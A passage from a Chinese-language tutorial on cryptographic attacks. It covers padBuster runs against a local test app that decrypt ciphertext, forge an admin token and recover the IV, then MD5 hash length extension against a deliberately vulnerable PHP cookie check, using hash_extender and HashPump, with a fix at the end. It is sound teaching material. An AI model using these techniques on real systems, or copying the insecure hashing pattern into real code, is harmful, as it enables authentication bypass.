$ ./padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126" "484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3c4ece78807a0bd1ee02b447f9345c126" 16 -encoding  1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3"
...
-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): ame=PegasusX&Password=test

[+] Decrypted value (HEX): 616D653D50656761737573582650617373776F72643D74657374060606060606

[+] Decrypted value (Base64): YW1lPVBlZ2FzdXNYJlBhc3N3b3JkPXRlc3QGBgYGBgY=

此外,我们还可以通过这个漏洞伪造任意加密的内容。不过,这里唯一的限制就是由于我们不知道IV,所以无法正常伪造第一个块。但是,我们可以用=test&终止掉第一个块(这里依据的是check的内部检查逻辑的问题,它只检测了需要的数据是否存在,而没有检测是否有不需要的数据出现),那么应用程序仍然可以接受我们伪造的密文。

如下:

 ./padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3" -plaintext "=test&ApplicationUsername=admin&Password=PegasusX"
 ...
 
[+] Encrypted value is: e6cb8cd9562ff00319c105d14039f536bf29d30fe039fdc4fed6c178f93a9a390d61fd94eccba511d82725e829cc885908ab16a2323f452500cb1c235941fa9100000000000000000000000000000000
------------------------------------------------------------
$ curl http://127.0.0.1:5000/check\?cipher\=e6cb8cd9562ff00319c105d14039f536bf29d30fe039fdc4fed6c178f93a9a390d61fd94eccba511d82725e829cc885908ab16a2323f452500cb1c235941fa9100000000000000000000000000000000
decrypted: [???`??F?D???{=test&ApplicationUsername=admin&Password=PegasusX
parsed: {'[\x97\x94\x18\xb6`\xb8\xe9F\xacD\x0f\xac\xf6\xce{': ['test'], 'ApplicationUsername': ['admin'], 'Password': ['PegasusX']}%   

最后,之前,我们说到由于IV未知,我们无法正确地破解出第一个块。但是,有时候由于一些语法、逻辑的推测抑或通过其它视角的观察,我们能够才到第一块的明文大致是什么。

比如,我们的示例程序:

我们得到密文ame=PegasnusX&Password=test。但是,由于我们知道正常加密过程中,传输进去的是ApplicationUsername=xxx&Password=xxx。所以,我们往往能够正常猜测出最后的明文。或者,某些人语感特别好,能直接依据ame的字母猜测出ApplicationUsername。

而,如果我们能做到上述这一步,那么我们便能真正得到IV了。在一开始,我们说到,IV xor intermediate value = plaintext 所以,我们能得到IV=intermediate value xor plaintext。

$ ./padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bd692263a07c6390ba29097b2e57aadc3" -noiv
....
** Finished ***

[+] Decrypted value (ASCII): qAB_]VWCQV/0!7(

[+] Decrypted value (HEX): 7141425F5D56574351562F1730213728

[+] Decrypted value (Base64): cUFCX11WV0NRVi8XMCE3KA==

-----------
#得到中间值后,xor一下
4170706c69636174696f6e557365726e (plaintext ApplicationUsern)
XOR
7141425f5d56574351562f1730213728 (intermediate value)
=
30313233343536373839414243444546 (IV = key ‘0123456789ABCDEF’)

当然,上述两种攻击模式的python代码也可以从http-advanced.py找到。

此外,你可以在获取另一个基于python的Padding Oracle库代码。

主要参考:

  1. Padding Oracle
  2. Padding Oracle攻击

0x04 哈希扩展攻击

原理

哈希扩展攻击其实和CBC模式下的问题差不多,一般影响的算法有MD5、SHA-1等等,他们都基于Merkle–Damgård构造。

5

上图可以看出,Merkle–Damgård算法的流程如下:

  1. 把消息划分为n个消息块
  2. 对最后一个消息块做长度填充
  3. 每个消息块都会和一个输入向量做一个运算,把这个计算结果当成下个消息块的输入向量

这里最大的问题就是:它会将已知的压缩后的结果,直接拿过来作为新的压缩输入。在这个过程中,只需要上一次压缩后的结果,而不需要知道原来的消息内容是什么。

这也就是造成哈希扩展攻击的原理。

MD-5例子:

这里简单说一下MD-5,其算法流程大体如下:

  1. 将消息内容按64字节分组
  2. 最后一组的长度模512(64字节)小于448(56字节)的使用空字节(0x00)填充,空字节开始处使用0x80标识,若大于等于448(56字节)则填充本组至64字节后,再向下填充一个分组至56字节,结尾8字节用于填写整个消息的长度。
  3. 每个分组进行64轮数学计算,上一组的计算结果作为下一组计算的初始输入,最开始的输入为IV。

所以,当知道MD5(secret)时,我们可以在不知道secret的情况下,可以轻易地推出MD5(secret||padding||m')

在这里m’ 是任意数据, || 是连接符,可以为空。padding是 secret 最后的填充字节。md5的padding字节包含整个消息的长度,因此,为了能够准确的计算出padding的值,secret的长度也是我们需要知道的。(如果secret长度不知道的话,我们就只能采用爆破的方式去解决这个问题)

举个简单的例子:

<?php
    $SECRET="123456789012";//一般未知
    $auth = "user";
    $hash = md5($SECRET .$auth);
    if(isset($_COOKIE["auth"])){
        $hash = md5($SECRET . $_COOKIE["auth"]);
        echo 'auth:'.$_COOKIE["auth"].'<br>';
        echo 'hash:'.$hash.'<br>';
        if($hash !== $_COOKIE['hash']){
            die("Be a good student !");
        }else{
            if($_COOKIE["auth"] !== "user"){
                echo $_COOKIE["auth"].'<br>';
                echo 'Congratulations! You pass it !';
            }else{
                echo "Work more harder!<br>";
            }
        }
    }else{
        setcookie("auth", $auth);
        setcookie("hash",$hash);
        echo "Init!<br>";
    }

?>

实际环境中,我们不会知道$SECRET的长度(这里为了便于讲述,假设我们知道了长度为12。如果不知道,只需要爆破一下即可)

这里,我们得到初始的COOKIE,auth为user hash为7ec7e7daac48329de35d9a5a03ceffe2

我们来进行哈希扩展攻击(我们把密文记作xxxxxxxxxxxx,它加上user,则长度共有16字节。所以,我们填充1个\x80,39个\x00(补到448bit)), 再填充8字节的长度标志\x80\x00\x00\x00\x00\x00\x00\x00)

xxxxxxxxxxxxuser\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00

我们把我们想填充的数据(Pegasus.X)放入:

xxxxxxxxxxxxuser\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00Pegasus.X

编码一下

xxxxxxxxxxxxuser%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00Pegasus.X

然后,通过自己的哈希函数计算出哈希17c0a0b1c40e39329c5ce8f45581be8c(这里可以参考这个博客

6

可以看到攻击成功!

不过,其实有更加简单的自动化工具。一个是hash_extender,还一个是HashPump。其中HashPump支持python扩展

hash_extender:

./hash_extender -d user -s 7ec7e7daac48329de35d9a5a03ceffe2 -a Pegasus.X -f md5 -l 16 --out-data-format=html

具体使用规则参考hash_extender的help页面即可

HashPump:(这里仅演示python环境下,shell也可以直接调用Hashpump,具体请参考Github-HashPump)

Python 2.7.12 (default, Oct 11 2016, 05:20:59) 
[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.38)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashpumpy
>>>hashpumpy.hashpump("77e36c3ca097ac9c0577ff4b80965282","user","Pegasus.X",12) 
('17c0a0b1c40e39329c5ce8f45581be8c', 'user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00Pegasus.X')

然后,替换下\x到%即可。

其它典型的例子:

  1. phpwind 利用哈希长度扩展攻击进行getshell
  2. 深入理解hash长度扩展攻击(sha1为例)
攻击场景:

这个问题的主要攻击场景是用于绕过认证(认证的话,主要分为签名或权限提升)。此外,由于我们可以附加新的数据,所以我们可能可以通过附加的数据执行其它的逻辑,比如命令执行、文件读取、SQL注入等等。还一种方式就是HPP。总之,它一般的作用在于在不知道secret的情况下,能任意伪造数据及其对应的哈希值。

修复

可以将secret放在末尾,如 MD5(m+secret)。这样,如果希望推导出MD5(m+secret||padding||m'),结果由于自动附加secret在末尾的关系,会变成MD5(m||padding||m'||secret),从而导致Length Extension run不起来。

参考

  1. 对称加密和分组加密中的四种模式(ECB、CBC、CFB、OFB)
  2. 块密码的工作模式
  3. 对称加密算法的pkcs5和pkcs7填充
  4. CBC字节反转攻击
  5. ECB与CBC模式下存在的问题举例
  6. 道哥对哈希扩展的理解
  7. 深入理解hash长度扩展攻击(sha1为例)
  8. phpwind 利用哈希长度扩展攻击进行getshell
  9. PKCS#5
  10. Padding Oracle分析
  11. Padding Oracle攻击